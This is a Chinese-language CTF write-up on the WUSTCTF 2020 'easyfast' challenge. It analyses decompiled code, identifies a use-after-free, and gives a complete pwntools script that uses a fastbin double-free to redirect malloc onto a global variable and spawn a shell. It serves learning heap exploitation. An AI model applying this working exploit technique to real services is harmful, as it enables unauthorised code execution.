fastbins 的理解。
题面
Ubuntu 16.04,所以是 glibc 2.23
就提供了二进制文件,需要根据 ubuntu 16.04 来确定 libc 版本。
分析
checksec,没有 PIE。
1
2
3
4
5
6
7
|
❯ pwn checksec ./service
[*] '/data/project/ctf-repo/pwn/nssctf/WUSTCTF_2020-easyfast/service'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
|
ida pro 静态分析,因为 stripped,所以我自己设了别名。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
sub_4008BF();
vuln();
}
void __noreturn vuln()
{
__int64 v0; // rax
__int64 v1; // rdi
__int64 v2; // rsi
char s[8]; // [rsp+0h] [rbp-20h] BYREF
__int64 v4; // [rsp+8h] [rbp-18h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
*(_QWORD *)s = 0;
v4 = 0;
while ( 1 )
{
puts(s: "choice>");
fgets(s, n: 8, stream: stdin);
LODWORD(v0) = atoi(nptr: s);
switch ( v0 )
{
case 1LL:
add(a1: v1, a2: v2);
break;
case 2LL:
del(a1: v1, a2: v2);
break;
case 3LL:
edit(a1: v1, a2: v2);
break;
case 4LL:
pwn(a1: v1, a2: v2);
break;
case 5LL:
exit(status: 0);
default:
puts(s: "invalid");
break;
}
}
}
|
笔记题。
add:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
unsigned __int64 add()
{
int v0; // eax
int v1; // ebx
char s[24]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-18h]
v4 = __readfsqword(0x28u);
if ( count <= 3 )
{
puts(s: "size>");
fgets(s, n: 8, stream: stdin);
v0 = atoi(nptr: s);
if ( v0 != 0 && (unsigned __int64)v0 <= 0x78 )
{
v1 = count++;
*(&buf + v1) = malloc(size: v0);
}
else
{
puts(s: "No need");
}
}
else
{
puts(s: "No need");
}
return __readfsqword(0x28u) ^ v4;
}
|
这里 count 最大只能是 3,也就是只有 4 次 add,最大不能超过 0x78,保存在 buf 数组里。
del():
1
2
3
4
5
6
7
8
9
10
11
12
13
|
unsigned __int64 del()
{
__int64 v1; // [rsp+8h] [rbp-28h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts(s: "index>");
fgets(s, n: 8, stream: stdin);
v1 = atoi(nptr: s);
free(ptr: *(&buf + v1));
return __readfsqword(0x28u) ^ v3;
}
|
这里就是 UAF 了。
edit():
1
2
3
4
5
6
7
8
9
10
11
12
13
|
unsigned __int64 edit()
{
__int64 v1; // [rsp+8h] [rbp-28h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts(s: "index>");
fgets(s, n: 8, stream: stdin);
v1 = atoi(nptr: s);
read(fd: 0, buf: *(&buf + v1), nbytes: 8u);
return __readfsqword(0x28u) ^ v3;
}
|
编辑,只能写 8 字节。
最重要的:
1
2
3
4
5
6
7
|
int pwn()
{
if ( qword_602090 != 0 )
return puts(s: "Not yet");
else
return system(command: "/bin/sh");
}
|
只需要把 0x602090 这块 8 字节变量设置为 0 就可以拿到 shell。

注意到在前面 0x602088 位置上 0x50。实际可以将其表示为一个 chunk:
1
2
3
4
5
|
struct chunk{
prev_size = 0;
size = 0x50;
data = 1;
}
|
取出 fastbins
这里特别注意大小,还有 fastbins 指针的位置。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim); // 计算用户数据区
alloc_perturb (p, bytes);
return p;
}
}
|
主要就是 fastbins 链表存的地址是 chunk 头,是在最后才算成用户数据区的地址。
而且对 chunk 大小 size 区有检查:
1
2
3
4
5
6
7
|
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
|
所以取这一块地址需要往前 0x10,也就是 0x602080。
利用
确定是 fastbin dup 之后就可以写 exp。
先把流程函数化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
def select(id: int):
io.recvuntil(b"choice>")
io.sendline(str(id).encode())
def add(size: int):
"""
只有四次使用机会
"""
select(1)
io.recvuntil(b"size>")
io.sendline(str(size).encode())
def free(idx: int):
select(2)
io.recvuntil(b"index>")
io.sendline(str(idx).encode())
def edit(idx: int, contents):
select(3)
io.recvuntil(b"index>")
io.sendline(str(idx).encode())
io.send(contents)
def pwn():
select(4)
def _debug():
gdb.attach(io)
val_addr = 0x602080
|
要注意只有 4 次 add。
先 add 2 个 0x40 也就是 0x50 chunk。
因为 fastbins 在 glibc 的 double free 防护就防了 free 头节点,所以切换 free 即可:
1
2
3
4
5
|
add(0x40)
add(0x40)
free(0)
free(1)
free(0)
|
之后就成了 chunk 1 , chunk 0 的环绕。然后编辑 chunk 0 为目标地址:
此时 chunk 分布:

add 两次拿到 0x602080 之后写入 0 运行 pwn 即可。
1
2
3
4
|
add(0x40)
add(0x40)
edit(3, p64(0))
pwn()
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
from pwn import *
io = process("./service")
# io = remote("node5.anna.nssctf.cn", 26623)
context.log_level = "info"
def select(id: int):
io.recvuntil(b"choice>")
io.sendline(str(id).encode())
def add(size: int):
"""
只有四次使用机会
"""
select(1)
io.recvuntil(b"size>")
io.sendline(str(size).encode())
def free(idx: int):
select(2)
io.recvuntil(b"index>")
io.sendline(str(idx).encode())
def edit(idx: int, contents):
select(3)
io.recvuntil(b"index>")
io.sendline(str(idx).encode())
io.send(contents)
def pwn():
select(4)
def _debug():
gdb.attach(io)
val_addr = 0x602080
add(0x40)
add(0x40)
free(0)
free(1)
free(0)
edit(0, p64(val_addr))
add(0x40)
add(0x40)
edit(3, p64(0))
pwn()
io.interactive()
|